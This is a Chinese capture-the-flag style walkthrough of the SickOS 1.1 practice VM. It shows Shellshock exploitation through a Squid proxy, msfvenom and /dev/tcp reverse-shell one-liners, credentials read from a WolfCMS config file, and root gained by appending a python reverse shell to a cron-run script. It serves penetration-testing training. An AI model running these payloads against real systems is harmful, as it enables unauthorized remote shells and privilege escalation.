SickOS1.1靶机(方法一)--- 靶机训练

SickOS1.1靶机

声明
B 站UP主泷羽sec

笔记的只是方便各位师傅学习知识,以下网站只涉及学习内容,其他的都与本人无关,切莫逾越法律红线,否则后果自负。

✍🏻作者简介:致力于网络安全领域,目前作为一名学习者,很荣幸成为一名分享者,最终目标是成为一名开拓者,很有趣也十分有意义
🤵‍♂️ 个人主页: @One_Blanks
欢迎评论 💬点赞👍🏻 收藏 📂加关注+

  • 关注公众号:泷羽Sec-Blanks

X

带你去体验最真实的渗透环境,文章里不会直接摆答案,会全面的带你去进行信息收集以及漏洞利用,会领着你一步一步踩下我踩过的坑,实战往往比这更绝望,练技术须实践。

主机发现+端口扫描+服务信息收集

nmap -sn 192.168.25.0/24
export ip=192.168.25.134
nmap --min-rate 10000 -p- $ip
PORT     STATE  SERVICE
22/tcp   open   ssh
3128/tcp open   squid-http
8080/tcp closed http-proxy
MAC Address: 00:0C:29:C8:E0:D1 (VMware)
nmap -sT -sV -O -p22,3128,8080 $ip
PORT     STATE  SERVICE    VERSION
22/tcp   open   ssh        OpenSSH 5.9p1 Debian 5ubuntu1.1 (Ubuntu Linux; protocol 2.0)
3128/tcp open   http-proxy Squid http proxy 3.1.19
8080/tcp closed http-proxy
MAC Address: 00:0C:29:C8:E0:D1 (VMware)
Aggressive OS guesses: Linux 3.2 - 4.9 (95%), Linux 3.10 - 4.11 (92%), Linux 3.13 (91%), Linux 3.13 - 3.16 (91%), OpenWrt Chaos Calmer 15.05 (Linux 3.18) or Designated Driver (Linux 4.1 or 4.4) (91%), Linux 4.10 (91%), Android 5.0 - 6.0.1 (Linux 3.4) (91%), Linux 3.2 - 3.10 (91%), Linux 3.2 - 3.16 (91%), Linux 4.2 (91%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
nmap --script=vuln -p22,3128,8080 $ip 
PORT     STATE  SERVICE
22/tcp   open   ssh
3128/tcp open   squid-http
8080/tcp closed http-proxy
MAC Address: 00:0C:29:C8:E0:D1 (VMware)

这里并没有扫到什么有价值的信息


nmap -sU --top-port 20 192.168.25.134
53/udp    open|filtered domain
67/udp    open|filtered dhcps
68/udp    open|filtered dhcpc
69/udp    open|filtered tftp
123/udp   open|filtered ntp
135/udp   open|filtered msrpc
137/udp   open|filtered netbios-ns
138/udp   open|filtered netbios-dgm
139/udp   open|filtered netbios-ssn
161/udp   open|filtered snmp
162/udp   open|filtered snmptrap
445/udp   open|filtered microsoft-ds
500/udp   open|filtered isakmp
514/udp   open|filtered syslog
520/udp   open|filtered route
631/udp   open|filtered ipp
1434/udp  open|filtered ms-sql-m
1900/udp  open|filtered upnp
4500/udp  open|filtered nat-t-ike
49152/udp open|filtered unknown

代理服务器3128与8080

这里使用nikto扫描并且指定代理服务器

nikto -h 192.168.25.134 -useproxy http://192.168.25.134:8080

这里使用代理服务器8080端口不能进行扫描

nikto -h 192.168.25.134 -useproxy http://192.168.25.134:3128

-h 参数指定目标主机IP地址

-useproxy 指定使用代理服务器进行扫描,绕过网络限制访问目标80端口,没有扫描到可能就就是存在网络限制

在这里插入图片描述

漏洞利用+EXP编写

这里扫出服务器存在bash之门漏洞

curl -v --proxy http://192.168.25.134:3128 http://192.168.25.134/cgi-bin/status -H "User-Agent: () { :; }; echo; /bin/bash -c 'echo vulnerable'"

-v 参数 表示curl运行结果详细显示

-proxy 参数 表示指定代理服务器

-H 表示添加HTTP请求头

User-Agent: () { :; }; echo; /bin/bash -c ‘echo vulnerable’ 为shellshock漏洞验证命令
在这里插入图片描述

验证成功我们这里就可以开始利用

curl -v --proxy http://192.168.25.134:3128 http://192.168.25.134/cgi-bin/status -H “User-Agent: () { :; }; echo; /usr/bin/id;exit”

在这里插入图片描述

构造反弹Shell的Payload

msfvenom -p cmd/unix/reverse_bash lhost=192.168.25.132 lport=4444 -f raw

msfvenom:调用 Metasploit 的 payload 生成器的命令

cmd/unix/reverse_bash 是一个 Unix 平台上的反向 Bash shell 命令 payload

-f raw:指定了输出格式,raw 表示输出未编码的原始 shellcode

bash -c ‘0<&37-;exec 37<>/dev/tcp/192.168.25.132/4444;sh <&37 >&37 2>&37’

发现监听没有反应,将sh的路径改为绝对路径

bash -c ‘0<&37-;exec 37<>/dev/tcp/192.168.25.132/4444;/bin/sh <&37 >&37 2>&37’

因为上面的漏洞利用本来就是bash环境所以我们在执行的时候不用加上bash -c

在这里插入图片描述

这里连接成功

使用py命令,构造回显Shell

python -c ‘import pty; pty.spawn(“/bin/bash”)’

在这里插入图片描述

提权

id

uname -a

ifconfig

ls -liah

dpkg -l 看系统装了哪些软件

这里目录下有一个文件 status

cat status 查看

我们可以到/var/www路径中去,因为是个web服务器嘛

cd /var/www

在这里插入图片描述

cd wolfcms

cat config.php

在这里插入图片描述

在配置文件中我们找到了数据库的用户名root和密码john@123

在这里插入图片描述

根据信息联想到定时计划任务

cat /etc/crontab

在这里插入图片描述

ls -liah /etc/cron*

ls /etc/cron.d

cat /etc/cron.d

定时任务每分钟执行/var/www/connect.py

那就使用python生成shell

import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.25.132",4445));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);
echo 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.25.132",4445));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);' >> connect.py

也可以使用另一种方式 vi 文件 因为交互性不是很好所以我们直接输入就行不用管异常的字符

比如:先按o表示另起一行,然后粘贴,最后Esc加:wq保存

然后等上一会儿就可以获取root权限的Shell了

在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值